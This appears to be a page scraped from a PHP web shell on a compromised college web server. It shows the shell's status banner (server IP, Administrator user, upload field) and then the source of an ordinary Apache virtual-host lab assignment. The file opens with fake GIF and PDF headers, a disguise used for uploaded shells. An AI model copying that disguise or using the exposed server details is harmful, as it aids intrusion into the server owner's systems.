GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST1611/_Archive/ |
Upload File : |
<? // JimMartinson/CST1611/Lab05.php $TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n"; ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path. $thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc'); $assignmentNumber = '5'; $assignmentType = "Lab"; $assignmentTitle = "Advanced Virtual Hosts"; include('Common/class/assignment_evaluation.phpinc'); $title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $week = 10; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc'); $f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; } $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc'); ?> <style type="text/css">b { white-space:nowrap; }</style> <p> <fieldset><legend><?=$evaluationName?> Assignment</legend><span class="normal"> The purpose of this lab is to demonstrate your ability to create a virtual host and use Apache directives for that host. <ol> <li>Create a folder called <b><?=$evaluationName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder. We will use it for all work performed in this lab.</li> <li>Setup a host name for <b><?=$userFullName?>.loc</b>. <ol type="A"> <li>Open up your <b>C:\Windows\system32\drivers\etc\hosts</b> file in an text editor editor like TextPad or Notepad. <br />Enter the line <b>127.0.0.1 <?=$userFullName?>.loc</b> and make sure there is a blank line at the end of the file. </li> <li>Save your changes.</li> <li>Verify that your host name works. <ol type="i"> <li>Start Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$userFullName?>.loc</b> in the address bar.</li> <li>Hit enter. Your browser should now show the same thing it shows when your enter <b>localhost</b>. </li> </ol> </li> </ol> </li> <li>Setup a virtual host for <b><?=$userFullName?>.loc</b>. <ol type="A"> <li>Create a folder called <b><?=$userFullName?></b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. We will use it to setup your <?=$userFullName?> virtual host.</li> <li>Create a text file named <b><?=$userFullName?>.txt</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?></b> folder.</b></li> <li>Open up your Apache <b>httpd.conf</b> file and setup a virtual host in your <b>httpd.conf</b> file with a <b>ServerName</b> of <b><?=$userFullName?>.loc</b> that uses the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?></b> folder. <br />Change the names of the <b>ErrorLog</b> and <b>CustomLog</b> file names to reflect the host name (I would simply change the localhost part of the filename to the new host name. </li> <li>Save your changes.</li> <li>Verify that your virtual host works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$userFullName?>.loc</b> in the address bar.</li> <li>Hit enter. You should see a page similar to:<br /> <div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;"> <h1 style="text-align:left;">Index of /</h1> <ul type="disc"> <li><a href="" onclick="return false;"><?=$userFullName?>.txt</a></li> </ul> </div> </li> </ol> </li> </ol> </li> <li>Setup <b>DirectoryIndex</b> for the <?=$userFullName?>.loc site. <ol type="A"> <li>Add a <b>DirectoryIndex</b> directive inside of the <b>Directory</b> directive for your <b><?=$userFullName?>.loc</b> virtual host. <br />Setup the <b>DirectoryIndex</b> so it contains two index file names: <b><?=$userFullName?>.html</b> and <b><?=$userFullName?>.txt</b>. Make sure they are in that order (<b><?=$userFullName?>.html</b> first followed by <b><?=$userFullName?>.txt</b>). </li> <li>Edit the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\<?=$userFullName?>.txt file</b> and enter the line: <br /><b>This is the <?=$userFullName?>.loc site and <?=$userFullName?>.txt file.</b> </li> <li>Save the change.</li> <li>Verify that your virtual host works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$userFullName?>.loc</b> in the address bar.</li> <li>Hit enter. You should see a page similar to:<br /> <div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;"> This is the <?=$userFullName?>.loc site and <?=$userFullName?>.txt file. </div> </li> </ol> </li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-text.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br />Make sure that the address bar is visible in your browser before saving the image.</li> <li>Download <b><a href="<?=$evaluationName?>/<?=$evaluationName?>-Browser.php"><?=$userFullName?>.html</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?></b> folder.</li> <li>In you browser, reload the <b><?=$userFullName?>.loc</b> site page. You should now see a page similar to:<br /> <div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;"> <h1 style="text-align:left;">CST1611 <?=$evaluationName?> - step 4.</h1> <p> Take a screen shot of this page. <br /> Save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-html.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br /> Make sure that the address bar is visible in your browser before saving the image. </p> <p> <a href="" onclick="return false;">browsable</a> <a href="" onclick="return false;">notbrowsable</a> </p> </div> </li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-html.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br />Make sure that the address bar is visible in your browser before saving the image.</li> </li> </ol> <li>Setup a directory for browsing. <ol type="A"> <li>Create a folder called <b>browsable</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?></b> folder. We will use it to setup your browsable definition.</li> <li>Create another <b>Directory</b> definition for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\browsable</b> directory in the <?=$userFullName?>.loc virtual host definition. <br />I suggest simply copying the <b><?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?>/<?=$userFullName?>/</b> Directory definition and adding <b>browsable/</b> to create the line: <b><Directory <?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?>/<?=$userFullName?>/browsable/></b>. Be sure your copy all lines starting with the <b><Directory <?=$_SESSION['userDefaultDrive']?>:/Data_WWW/CST1611/<?=$evaluationName?>/<?=$userFullName?>/></b> down through the <b></Directory></b> line. For my definition I copied 7 lines.</li> <li>Create an <b>Options</b> <b>Indexes</b> directive for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\browsable</b> directory.</li> <li>Create an <b>DirectoryIndex</b> <b> index.html</b> directive for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\browsable</b> directory.</li> <li>Download <b><a href="<?=$evaluationName?>/<?=$evaluationName?>-Browser5b.php"><?=$userFullName?>.html</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\browsable</b> directory. Note that this is a different file from the one above.</li> <li>Verify that your <b>browsable</b> directory works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$userFullName?>.loc</b> in the address bar.</li> <li>Hit enter.</li> <li>Click on the <b>browsable</b> link at the bottom of the page.</li> You should see a page similar to:<br /> <div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;"> <h1 style="text-align:left;">Index of /browsable</h1> <ul type="disc"> <li><a href="" onclick="return false;">Parent Directory</a></li> <li><a href="" onclick="return false;"><?=$userFullName?>.html</a></li> </ul> </div> </li> </ol> </li> <li>Click on the <b><?=$userFullName?>.html</b> link.</li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-browsable.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br />Make sure that the address bar is visible in your browser before saving the image.</li> </ol> </li> <li>Setup a directory that is not browsable. <ol type="A"> <li>Create a folder called <b>notbrowsable</b> inside your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?></b> folder. We will use it to setup your notbrowsable definition.</li> <li>Create another <b>Directory</b> definition for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\notbrowsable</b> directory in the <?=$userFullName?>.loc virtual host definition.</li> <li>Create an <b>Options</b> <b>-Indexes</b> directive for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\notbrowsable</b> directory.</li> <li>Create an <b>DirectoryIndex</b> <b> index.html</b> directive for the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\notbrowsable</b> directory.</li> <li>Download <b><a href="<?=$evaluationName?>/<?=$evaluationName?>-Browser5n.php"><?=$userFullName?>.html</a></b> and save it in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?>\<?=$userFullName?>\notbrowsable</b> directory. Note that this is a different file from the two above.</li> <li>Verify that your <b>notbrowsable</b> directory works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b><?=$userFullName?>.loc</b> in the address bar.</li> <li>Hit enter.</li> <li>Click on the <b>notbrowsable</b> link at the bottom of the page.</li> You should see a page similar to:<br /> <div style="text-align:left; border:1px solid gray; width:600px; font-family:'Times New Roman', Times, serif; font-size:16px;"> <h1 style="text-align:left;">Forbidden</h1> <p>You don't have permission to access /notbrowsable/ on this server.</p> </div> </li> </ol> </li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-forbidden.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br />Make sure that the address bar is visible in your browser before saving the image.</li> <li>Add the text <b><?=$userFullName?>.html</b> to <b>http://<?=$userFullName?>.loc/notbrowsable/</b> in your browser address bar. (The full URL should not read <b>http://<?=$userFullName?>.loc/notbrowsable/<?=$userFullName?>.html</b></li> <li>Hit enter.</li> <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>-notbrowsable.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder. <br />Make sure that the address bar is visible in your browser before saving the image.</li> </ol> </li> <li>Setup a <b>Redirect</b> directive so that the <b>/<?=$evaluationName?>/<?=$userFullName?></b> folder is redirected to <b>http://<?=$userFullName?>.loc</b>.</li> <ol type="A"> <li>Open up your Apache <b>httpd.conf</b> file and setup a <b>Redirect</b> so that the <b>/<?=$evaluationName?>/<?=$userFullName?></b> folder from <b>CST1611.loc</b> is redirected to <b>http://<?=$userFullName?>.loc/</b>.</li> <li>Save your changes.</li> <li>Verify that your redirect works. <ol type="i"> <li>Stop and restart Apache.</li> <li>Open up a browser.</li> <li>Enter <b>CST1611.loc</b> in the address bar.</li> <li>Hit enter.</li> <li>Click on your <b><?=$evaluationName?></b> folder. <li>Click on your <b><?=$userFullName?></b> folder. Your browser should be redirected to <b>http://<?=$userFullName?>.loc</b>. </li> </ol> </li> </ol> </li> <li>Turn in <b><?=$evaluationName?></b> for grading. <ol type="A"> <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li> <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li> <li>Zip up your Data_WWW directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li> <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li> </ol> </li> </ol> </span> </fieldset> <fieldset><legend>Grading Criteria</legend><span class="normal"> Demonstrated assignment effectively: 10 points. <br /> There are some things I expect. If they are incorrect you will lose the following: <br /> Incorrect attachment file name: -1 pt. <br /> Work submitted incorrectly: -1pt. <br /> Incorrect subject in email: -1pt. <br /> Second and subsequent submission of work for grading: -1pt. <br /> Work submitted late: -1pt. </span></fieldset> <? $thisFile=__FILE__; $thisLine=__LINE__; include('Notes/notes.phpinc'); $thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc'); $thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc'); #setDebugOn(); $thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>